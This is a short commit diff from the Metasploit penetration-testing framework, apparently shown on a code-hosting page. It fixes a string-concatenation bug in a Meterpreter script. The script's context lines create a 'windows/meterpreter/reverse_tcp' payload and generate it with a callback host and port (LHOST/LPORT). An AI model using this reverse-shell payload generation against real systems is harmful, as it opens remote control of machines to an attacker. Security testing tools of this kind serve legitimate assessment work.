convert lport to a string so we don't get failures when adding String + FixNum
git-svn-id: file:///home/svn/framework3/trunk@9801 4d416f70-5f16-0410-b530-b9f4589650daunstable
parent
301d220c80
commit
b60e2d1022
|
@ -43,7 +43,7 @@ use_handler = nil if (session.exploit_datastore['DisablePayloadHandler'] == true
|
|||
# Create the payload instance
|
||||
payload_name = 'windows/meterpreter/reverse_tcp'
|
||||
payload = framework.payloads.create(payload_name)
|
||||
options = 'LHOST='+lhost + ' LPORT='+lport
|
||||
options = "LHOST=#{lhost} LPORT=#{lport}"
|
||||
buf = payload.generate_simple('OptionStr' => options)
|
||||
|
||||
#
|
||||
|
|
Loading…
Reference in New Issue